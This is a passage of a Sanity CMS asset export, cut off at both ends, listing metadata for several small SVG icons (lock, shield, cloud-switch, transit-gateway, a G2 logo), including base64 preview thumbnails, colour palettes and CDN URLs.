abe8857a83a486cb35e2b67901dc201b9e68-1566x774.png"} {"_createdAt":"2023-05-26T13:05:50Z","_id":"image-c195dd4a51d06e7435afd3a72c230871cb99de24-40x40-svg","_rev":"Bg5HPBiLdZofLBzDE7Rq7k","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T13:05:50Z","assetId":"c195dd4a51d06e7435afd3a72c230871cb99de24","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eUD]uSt7~qt7_4t7fRazfQfQ~qfQWBfQRjt7fQfQjufP_4fQRjfQRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":40,"width":40},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC6UlEQVQ4jZ1VzUtUURS/dxBHQwyHGXvnvJmYc6F2idAiEsxWLWzVJogZBUPEjMptbsqSEqR/o1W062MX1iJsFVHY57wPv97zAwMpw6yJc+99Ezoh0sCPd985v/N7v3ffvN8TXhD1eUE04AVRvxdGJT+Iy14Qlf0w3hOaw9wwKulZo9En7OKYF0Q5L4iyfhBn9TE0R0bFX9JIzpOe5oa6lrMaA8Kq57wwEn4Ya3hBJML5FfFjqyp+/qqKN28/afB6c6uqe8wx3FjwrBXtF9YyX5WLqWBuWX6uLMj3HwNZrVYF48HDR5KRnHOPOcz1gijlG1F2WxK8D2ydi34Yy8LhowLyRXEgVxCAqhFQFQDVcQ1XFcBVjek0CMdVgrl+GEvPOM16QVxmV+XEYcVfkoBKACgWSwOqTkA1DKhuWgyDq2tpyCsBrtIzeqvM/pb5CsZhGIt3sxWJNUHKA6ohQDUGqM5ZjAHSkO65SmBe6RkjqDX+CvImTz+fkeCScKAoAekkIE1a0SMGWmySe45TlIhFMf3iFe9jveDy6oaYW1iVTAQkxw7fB1RTiGoEXBoBpClT0z3nkFOU4fyK5Nk6QX56/AOkZkA6A0h3AWkCXDUKqK5qmPWE7TGnmWd4di/BDCANAtJ1QOIH4AJSF6DqsutO22NOZj+C7YD69i6jS20OKnbcC6h6HeO+jXuW074fwRwgXQKkUUBiRy2AdNqiBVxdG7Wc3H4EWwHpAiDdAqTzgNQDSGctemzttuW01gkmf+zt3+a1coAaAKnD3tY4IN3YhXHb6wCgBp7hWRsc5dqrxy/87AdfZg7mBQA1ARIB0glA6gakUxbdtkaAxaZsxtUzJiwShxwOJoL4NUotxl9rITBx515qaPhaanDoigavuZb0mVvxl1I8ax2WdsSX55vY2vi2LdbWv4uXM6/Fk6fPxGMLXnNtbX1Tc5IY2xlfQXSxFrBhfbB+8RZ34F9Buztg/+8TENZ9AthY3x+Cnf4BtRKz0QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1c1c24","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#07040c","foreground":"#fff","population":0.94,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#07040c","foreground":"#fff","population":0.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4ca","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b49bdd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#74747c","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6f3fbf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-black-square-lock.svg","path":"images/sczeoy4w/production/c195dd4a51d06e7435afd3a72c230871cb99de24-40x40.svg","sha1hash":"c195dd4a51d06e7435afd3a72c230871cb99de24","size":616,"uploadId":"4epJoT8ahARIm3YDegPCuBHHGOlxGFGl","url":"https://cdn.sanity.io/images/sczeoy4w/production/c195dd4a51d06e7435afd3a72c230871cb99de24-40x40.svg"} {"_createdAt":"2023-05-26T13:06:01Z","_id":"image-7129481004ef88ea22a8c2f6a2c7daaf7126bb9a-40x40-svg","_rev":"Bg5HPBiLdZofLBzDE7RxjW","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T13:06:01Z","assetId":"7129481004ef88ea22a8c2f6a2c7daaf7126bb9a","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eUD]uSt7~qt7_4t7fQfQfQfQ~qfQWBfQRjt7fQfQfQfQ_4fQRjfQRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":40,"width":40},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC60lEQVQ4jZ1VTUtUYRR+70T4MdRCZ9TzzIhzrpmFhH0srCChDzKw2gbOKOnGlEiLhCi0hblzX7t+RAQRbdpEuzaVH5n3vneU7viVmxIimDjvvGMjWkkDD5w55znPPe/Hfa7ydNjt6bDX02GPF4RpX+cyng4zfpD7KwxHuEGYNr0FjW5lgyOeDuOeDmO+DmNeCebmF2Mzn4K4QOLSmuEGJo5bjV5l1eNeECo/yMl/tbL2TeXzeYNnz1+pRxOTBhIX88IRri89QaisaI+yI8ek4Ae5yIepeUcair/zFzr3Hm45tl8gcTEvHOH6QS5iRWXatJJ98HXOCE7N+E68tkFRgh0CRwluisDtBL5m0W5zUeFUU8r0FFaWi3k6l5FRZYNjq+sb5qmEVITAIHAngYcJPErgBxajNic1EHFEetbWN5Td+4ws00xYXGZhMtMwTuAhgnuJwK0FuB2FnKldFq6yy7er3FEwRuB+At8jcAuRuyeqmiS/D2AX4DMEvk/gG8JVuxCsIfCgRb0IETgJcAfAXQCfA/iWrdfuVnCAwDcJfILAVwh8G+BxgK8D3GZrwqnZjWAVgfsIfIfAJwncReBJgAcBPkDgJlsTTtW/BRNcYQ9lzB5Cs0wFcAPAlQQ+S+CHllP+R0E5+uzCslObZJnyoL0edwl8nJCqIKTKCzGP2FpTHVJKB0vO6tfv2wV1dkm9ePnaAVxF5ErzKXvSInrRYsTmpFaOBJse6d0ULF5sue3Ts9oR0ukx2Us3ahtlmgmLYZuLqkNK1SVc02M9wF7skldPZ5ecRH2jomRKVSfM3SuTPSTwVYtmSnBZKsGKkqyQbDQ9xVevMKGYQyBWZJ4SCRaWnfcfPztv3r4zJtE/MBRpPdpWKZBYclITYxCup8OI7ZUJ01vtSxvHMbaUXVxRP37m1dSsrx4/eWowPeubnNSK1lXk/7YvHfZtGmxh0i0mOu9/ic3OZQ0kLq0Zh9nBYP/vExBs+wTIYN2/AD0740tyDnn8AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1c1c24","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#06040c","foreground":"#fff","population":1.5,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#06040c","foreground":"#fff","population":1.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4ca","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac9bdd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#74747c","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f3fbf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-black-square-shield-check.svg","path":"images/sczeoy4w/production/7129481004ef88ea22a8c2f6a2c7daaf7126bb9a-40x40.svg","sha1hash":"7129481004ef88ea22a8c2f6a2c7daaf7126bb9a","size":679,"uploadId":"YEHz4JBnaEzzhnEVThs4GA7EXSysKHtZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/7129481004ef88ea22a8c2f6a2c7daaf7126bb9a-40x40.svg"} {"_createdAt":"2023-05-26T13:06:19Z","_id":"image-cf142cafaab2b83bf2b2fa991a3a582da04545b1-40x40-svg","_rev":"Bg5HPBiLdZofLBzDE7S9Ux","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T13:06:19Z","assetId":"cf142cafaab2b83bf2b2fa991a3a582da04545b1","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eUD]uSoz~qt7_4t7fQfQfQfQ~qfQWBayRjozfQfQfQfQ_4fQRjfQRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":40,"width":40},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADUElEQVQ4jZ1VXYhVVRTe54pmMyYxnNvM991L3XWSKNQx/8uBQcg0tB+ih4I7M+iY1KSgIvanNaVGDxr4oBX089S7SAQVkfgSQmEQjTqOzvmZMc8ZRxFEIxFurH330TvkiHRgwT57r/Wdtdb+1ndMGKfdYZyuC+O0J0zSahRnXWGcdkVJdkezPuqbpFUbW8foNm4xN4zTYhinfhSnfthgZ4bP+YNDSVFN141n1jex66LDWGccejFMUhMlmb6b8UtXTa1Ws/btdz+ZPR/ts6brfF991DfSmCQ1DrTHuJR9PYiSrDBwctjTgPx5asWaqY/Nnj9TTdf5vvqob5RkBQeq2VaN9iGKMwt4cjDyfFYMWPFAaQaDCiidoLzsrNPtNaMkXmtbxZw4FXqaaRhnfhhnXZqqNti/dPlv+1VACqAQlDWgbAHlPVB2gLITlPdB2QrKs6CUwEpBYzTW9bVLy7QZ5mXWM7MBu0HZDAarQGmvW/A0KJtA+QCU1aA05eW7tt0W0AfldVDeIWU2EEwDZCog00F5AJQOUN4A5XlQ7ssBoySbFFCDNmoQS4HvgBa4FlTdmbZiBSgz7iZDBexzpbWCUgblXVAOgfIZKG+D8qEDnvXmW/2FwaHEDEfnJwVsAaUXlG1g8BAoD4LyMSg/u4uZD8pzoPSDsmrhoo7pX3z1jRk6OzoJYEnurZcX9IPBclDaQFkLyn5SXiBlJigL3e2/OKd9cfPeTw6Y02dGJgLq1SejF7y2cmDA4BHXp22gPAHKM44ymrl+ZIN77+hcvnLaocPfGx3LCYDxyJj54cejHikGCPQilrl+bQelx4HvcpTR0l/Sfv96fMC7cNGOYR0wJ7ZOyqnTsceSmKWv3J/z8UlHZO3Xq46fK0FZDEqRJbHEHhu/0kDshtGLR8a8cvlh7aNpKesIyj2gPOpIvAystDhOFtpKgWltFTvP9dHLM1RxSFSKrNIUtI8DJ856vxz73YrEa32bC/MeX9LUPm9JU+/6vik5744cPeb9dnzgljjUM6xOlK/YKo6VpZFz4+b6jZoKhvn086/NgYNfmj/+HLJg1/6pmdG/Llrf3P+WfMVp702BrWc6QUSVsEoJ5Zkjb8N5dluB/X+/gOQ/vwBNrPtfzAziG7wMbFYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#18141c","foreground":"#fff","population":2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#06040c","foreground":"#fff","population":1.88,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#18141c","foreground":"#fff","population":2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4ca","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac9bdd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#747479","foreground":"#fff","population":0.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f3fbf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-black-square-shield-update.svg","path":"images/sczeoy4w/production/cf142cafaab2b83bf2b2fa991a3a582da04545b1-40x40.svg","sha1hash":"cf142cafaab2b83bf2b2fa991a3a582da04545b1","size":832,"uploadId":"RuvM5kmLowIHoJlLUaD9uIXrU6huFyik","url":"https://cdn.sanity.io/images/sczeoy4w/production/cf142cafaab2b83bf2b2fa991a3a582da04545b1-40x40.svg"} {"_createdAt":"2023-05-26T13:06:38Z","_id":"image-4101100615713e748e9a72604adb0a26b86ab150-40x40-svg","_rev":"Bg5HPBiLdZofLBzDE7SM1Z","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T13:06:38Z","assetId":"4101100615713e748e9a72604adb0a26b86ab150","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ePRC[7t7_3ayM|WVf7ofj[j[~qWB9Ft7M{xuj[j[ayM{D%ofWBWB%M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":40,"width":40},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADPElEQVQ4ja2V3U+SYRjG/SdMA7RpTtOJfBu8r/mChuJHls2ppFlhS1x+prbVLGggNqhsHnTWyponTsujnK4zDe24Okg7ADE3FEXF+fl+tAuRuURrrYNre3Y/1/3jeZ/7fm6i3B5vrefnYuPcvK9pbt7X8I9q8swtNrpnvbVRgHkX/JqV1fX0SFr2r6X7llaEENZH+bwLfg2gUaAjwHHcCY7jYjmOi/lNiEeHdCLCfiziYIAFYEMIGEvTjIBhWD5NM3yO43gbG5t85+RU4qvXb9Mg5+TnRMSwB0/IK0BuCNhwEBizZ6B5LMvyXC53nMlkkRcUXtQThKYVKii8pDeZLTLsMSzLg5dhWPxATEQgTdPYPAmgyWSRkVk5zRkixVOpTGWBsCazcprMZqsMHnjpvZzIQIZh+MvLfr7D0SPKprT1wgz5c4rSGptbOkgIa8SyKa3R8aRH5Pf7+cg5EhgIBARdNrsEsHShvFepojos1m7pfgHMj7pkiGEPHpvNLgkE1gWHgGgHVGp83JmIe8KnEaSmpaW1g3A6pxK+T0/HDwwMJre331OWV1QXqQiqDR54JyacicgFIwxEj6Et+vr603D5YonSZjQ2UmNjH083t7STV6qu6/Lyi6/K5IRZrcm/VVpaUSqRKm0qUt3a96Y/DblghIFLy6s4YfTQ0HAKPkUkznSUlelL7PZnopKSsjIUB7AzqeI+iVTZRam1RpE40w7v0LvhFOSCEQb6VwLBO3S53PE1125qZXLChGoa6xupouLL5QSpbj2Xff72WWX2XZWKapMryAdyBfkQXpfLHY9cMA4VBQ37YWQ06YahLreysqbIUFuXq8jMup+aJnmJE+JeKXVenU5XUmWoNeaMjIwmIefIKqO3ILd7Nu7L12+nursdYkBQVRWhvpOvu1Bdqa8p7O19IfR45uL2/dxxfcgwTLBh8ZxmZn7Ed3aaFTiN1fpYOjj4Pnl8/FPC2tpa8AHAyxzXh3hGbOhJ7e7uBsGbm5s839JSEHBgGOCFBE/HHPP0wsNhX3sDYG9Q7Ozs8re2tvjb2zuhOHvkcGj6w/jaP1Wk+OHxhaF43ID9SwnDAxZjG4v/8hfgWTD8AncMDU4MYw1BAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3d4147","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4c7cc","foreground":"#000","population":0.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c7cc","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b7bbc1","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#767d88","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-black-square-cloud-switch.svg","path":"images/sczeoy4w/production/4101100615713e748e9a72604adb0a26b86ab150-40x40.svg","sha1hash":"4101100615713e748e9a72604adb0a26b86ab150","size":833,"uploadId":"U2q3TV2QfV4OKeHFrIXS8OsBsZftSfA7","url":"https://cdn.sanity.io/images/sczeoy4w/production/4101100615713e748e9a72604adb0a26b86ab150-40x40.svg"} {"_createdAt":"2023-05-19T15:01:59Z","_id":"image-7afc4c223c1d39b8a19eebe3ad8d499d6f34dfc5-40x40-svg","_rev":"Sutmd0597BicUlBXY6ofBo","_type":"sanity.imageAsset","_updatedAt":"2023-05-19T15:01:59Z","assetId":"7afc4c223c1d39b8a19eebe3ad8d499d6f34dfc5","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eBRH}5=|00zp1I;2kCkWi_V@00iw4SO?CQ%Ni_MxkqOr0|WVCQO?*e","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":40,"width":40},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEAklEQVQ4jV2VXYiVVRSGP9QQvTAMgu68CCzP2mfKTG3yJwvxrH3GdJp0NPuDJrLRaoTwZ8yhph/SZsywyVHGBBPFKMVClOzGYiqYMpsIZcy/i0wtRu1ionRcT6x9zkzRxeYc+L79fHut9b7vzixKhvoKGU9m/jsUlZtNZQoq9ai0otJhUTaZShMqNaiMRcNIivmMWZKZ7/VVkATI0IqM4rjMVEahoRINK9GwhxiOEsNZYjhPDOeIoYcYDqOhzTQsQMMYogxj6uQSJ+YcKBlVt2dEuQmValR2EMMpYvgTFaOQY3Cp+LqGSi8aOtHQaFGEmLuBmeMSNGNVgo5CZS4qn1gMlxLIN1dVGA9NNOZVXreaSWaz7zSqKqCYd/BVUzlGlGZUbkNlCIV85nV7z+5B5QNKMN9gVjvFbNkjxttrjM1rjZeXGs/MMauvMZ4qGnMnmPlpY/gBlaXedwp+Qv+jsgINp9LJHPbYA0bravjioHH2Z+N4N2xdb6xZbGxshpZVhr/jH4+hjxj2mcp0YhjqQJ/mnnLPYP69RmsjdHcZvb8bZ0/CwY+hqR4a62DbhgS1J2Y60IjBoSfR0GAabnRgfZqmP/SeNSw0Dh8wen8zjnwFba/Bkofh0fvhledgZzusXW4snOYwKwOvoNKOyq0ObE3S0BxU323W2mic7jHOnIB3X4WF00tDWDQD3loJuzbDuhXGohn/Bf6Fyj5UJjmwI+nMZTG/8rp5r87/At91wouP+8tQMxman4fP9kLXl/DRNnhhgTH7joE+9qNyCJX7HLjJXLSFHDa/0spAGwQWK6CuCj7cSurnH5fhdA9sWWvmZatgMVxF5YCpTHVgU3LAQMkt/yvZS326ijTd/bvhpyNw8Vdj/26jrvjvpFV2olLhwJqSneRaEm1pKKShfP81vPc6rFnsg4At62DvdqPzc7OOFjPvYwl4AQ1voHKLA8ei0mYx9A7Kxk/Z3QWXkmyMo9+4jODHb41PdxkbmrAlNcac8Q7sJ4Yu3NsxDHfgSFRqLbo35eqAsK11tSVhnzlhXDxnqczj3cb2jWbuGIf5wFQumMo7yX7FfJZZ0VNCxliURovhWCrdZVI7xVi2yFj/kvH+eqOjxXhzufFsdbJdeRiXkylUZqEygjjOvZyAw/DUUGkue7OvHA5QPdHbAPMqYe6EkiZj6LfUN3GY5+No04G08fiadldmHkGl1FiKhn2W7CRXKOT+ppDrp5C7hub6TMUH0IXKhvLJRptn6ex8YqWUTdBZ+YxCbkg5LKabhgZiaHfjE8MhYjhIDDuJaZoLSh/PjUhZWkxqydBSfKWkHUzuOePTNeBGd2+6ndwBqEx1nbk0LIbhCfBg+epQvwb8QPnsH2kEpZtEIEteAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c0d09","foreground":"#fff","population":3.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa472b","foreground":"#fff","population":13.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#921006","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6493c","foreground":"#fff","population":4.88,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c4c44","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa472b","foreground":"#fff","population":13.25,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"g2-crowd-vector-logo-2022 1.svg","path":"images/sczeoy4w/production/7afc4c223c1d39b8a19eebe3ad8d499d6f34dfc5-40x40.svg","sha1hash":"7afc4c223c1d39b8a19eebe3ad8d499d6f34dfc5","size":1326,"uploadId":"PP7Q7xCevy9tUN6XNLnfgdDiszkRe9Am","url":"https://cdn.sanity.io/images/sczeoy4w/production/7afc4c223c1d39b8a19eebe3ad8d499d6f34dfc5-40x40.svg"} {"_createdAt":"2023-05-26T13:06:57Z","_id":"image-f3ffa2a39382f848d72e84cb80bda5c8df0c4088-40x40-svg","_rev":"Bg5HPBiLdZofLBzDE7ScEo","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T13:06:57Z","assetId":"f3ffa2a39382f848d72e84cb80bda5c8df0c4088","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eSQcr5t8~qWBM|xuM{fQ%MRj~qof9FayM{WC%MayD%t7M|NGNFt7%M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":40,"width":40},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADgUlEQVQ4jYVVa08TWRjmV6ylpdmsUalpO51eZtrCLAUKokBRg6Q1BkRbTIsM7K6IRsBYQMELEm+BSGKiRsVkY7LZtfoLlt3/oEaWQgIIzEzpgjCnY54paMGiH568874555n3fnImJmeCk1NzfHz6Q2t8+kNLFvDraPkGWifjc/zEfzPBHJDNzC6WCOKSKROLApAwiVLSJIhJ9XvrmUzMzC6WgDQH7DAoivKDoigaRVF2bEYqi20TNLgLDnCBsGWdUCPLJE+WZV0qldK+efPux2vXb1obG5sqQk3N3tHRB6b5+YU8RVG0skx0hKRUyDKBTbNO2JJJuGNtLU2WSCR03Rd7HEWesmbKwt6w0Oy1svLKxpGRUaOiKLmyTLQ4BxCS0uFuVkL8GRfi8Sl9KBQpZViuk7Y6+ykLMwjShuOhckEQdbIsawGcJVkJhTTh1NS0fnj4vrG7O+oIhsKlbrfnjNXmukxbnQNmynHL76+vAglCJCTtJclGiArCePfeiBmhFRQW/1rIlbbRVle/1ebqAynDcheaTp0ufvHij91/j//zUzKZVKMhhHxFyKM1Vj9+1DSeOLXPQrNXLTR7HSE6mMLumoNHjhw8VFdbWXUoUF5R3VDkKY/4fLV1gzdvUYIgqDnfQjjHS4n/jZIk5foD9T6EhrzZ7QWXXG5Pe/Pptp+Hhu5Q8By5NJkdtykLO1ixv+ZYLPZ6l+qlLG+qMr9RlI5znW6EZjLb7+Iiw3Bd4Qjv4fnfOHht2Es/pGnnACT0tl/aCwlBtYkmaw7Hx//dGQyGSxEWx3l5f6C+qrdvwOb1HjiZb7A822Ogxowm2/CefGos32B56i2rPBGLvd6Nxl5YlL5uG+Tj7dt3+ufPf89/9OiJ4f37CX00etnOsFwXRbM3nO6is2glSOiIoKe33wHC+QUxSx+mK6a2xcYYnmk/77bZC6LIp6+mts5TvC8MCR32sx0XCrYlRAugYVdWVrSSlAC5JtpzBR52ImdOV1GHg+G6IKHD3ts3sL2HaNKNkVpdXVMn4c+/Yruqqg/7UXkzxQyh0pDQYX/58tW2OVSXQ8bQw0OtKEp5jx8/3RuOtJYcPdpQHQjU+yAjkdYS2AVR1G9dDt9ZX1+wsrysWVpK5EJuu76wFLMt2M3LNr1c1QFILBshM+2CuGT+vGCxtvHxjSdgy1Ogns3ElydgcvbkJz6+6F4wsvVxAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3d4147","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4c7cc","foreground":"#000","population":0.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c7cc","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b7bbc1","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#767d88","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-black-square-lock-link.svg","path":"images/sczeoy4w/production/f3ffa2a39382f848d72e84cb80bda5c8df0c4088-40x40.svg","sha1hash":"f3ffa2a39382f848d72e84cb80bda5c8df0c4088","size":1273,"uploadId":"JIEePL2rg7NuZDCh360PtLJZkZ1GKUgB","url":"https://cdn.sanity.io/images/sczeoy4w/production/f3ffa2a39382f848d72e84cb80bda5c8df0c4088-40x40.svg"} {"_createdAt":"2023-05-26T13:07:13Z","_id":"image-e5612d6f4c1fce0ace581f6e2b1ff516f266ee26-40x40-svg","_rev":"Bg5HPBiLdZofLBzDE7SnBR","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T13:07:13Z","assetId":"e5612d6f4c1fce0ace581f6e2b1ff516f266ee26","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eZPGmgof~qof-;offQfQfQfQ~qfQ9FfQRjoffQfQfQfQ-;fQRjfQIU","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":40,"width":40},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqUlEQVQ4ja2VzU4aYRSGuQrFdFE0GEZn6FhERJSmuMEGumGhJg4LNa4cTF0wcTCy0k3XxuiyjYk3UG6Dn96BhZKAJmpjynQB0zzDT4GCaRoXJ9/hnPO9c37e72C7Lla2i99vEqXy7V6pfKuWyreJLlGHSH/MXrF0k7j+Vtm2AVap3oXuHx6lu/tHifPhx0+p+zdntz4oplK9CwFqAx2DaZojpmnaEcMw7I1G3dJNs8E52hRLt3y/DKPlN5ERMMACUOUrOLLZ/MSBfuRX4lvvkloqkMsXHKZpjtVqxgsEHRs+Yg70tD+bK0xwFwywAEy0MrQD5vMF9WnRc+GdW0xvKJsru+qH4Np6PILsqvtBbPhE0XPumw/qgHK3laFVcoJ+UCZfBczpFDPOSSkjuWdP5RnfR2Fq5hOCjs05iV/MTIuec+5QPhgdQNAb9bo9mUwFvN7FNMEvHa6sS5CvXnv8x8KUbAGiY3OMu7J80Du3eKRphwv0tDvDTg9zucI4JZEFF0PLKzvRaGxVlGbPkOj72GpoObyDT3J7TxVlK5zPf3X091Bt9tCa4Bh9ojSyAWze/0YTBPkSQceGjxhV3Q9yh7utDNXuDEeZ5NpaPGL1TJA/i5LnzCXIl3O+pRQCKDZ8xBBba05/tCfDfwA8HAi4Ho/UjAGAQ0o+eaLkk1bJS0+VbM/nC47eoYR3GERnKNHY6tsQQ3l1RcyGsjlwKE3aNOp2XgCkhRKODm0Wjts8bNMGSkEtYpNaKtBPmx5i8wIAdE5KX6CGPDPfR2zvadMvZkTRcxEfRuzm00v7eU68AEgLz6AGg0LQFWUzjK/99PQBT+/PcsgVJgAlU01LLbT6M8Yk28sBGz4y04csh7/WFyX8x/pyW+uLpfgMC9bdWbCsbZRn+QsoVrd+AzIokn8EgHGOAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3d4147","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4c7cc","foreground":"#000","population":0.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c7cc","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b7bbc1","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#767d88","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-black-square-transit-gateway.svg","path":"images/sczeoy4w/production/e5612d6f4c1fce0ace581f6e2b1ff516f266ee26-40x40.svg","sha1hash":"e5612d6f4c1fce0ace581f6e2b1ff516f266ee26","size":3569,"uploadId":"89f9jRXMOrfVrYAaVgnHWy9NGLZnjFRl","url":"https://cdn.sanity.io/images/sczeoy4w/production/e5612d6f4c1fce0ace581f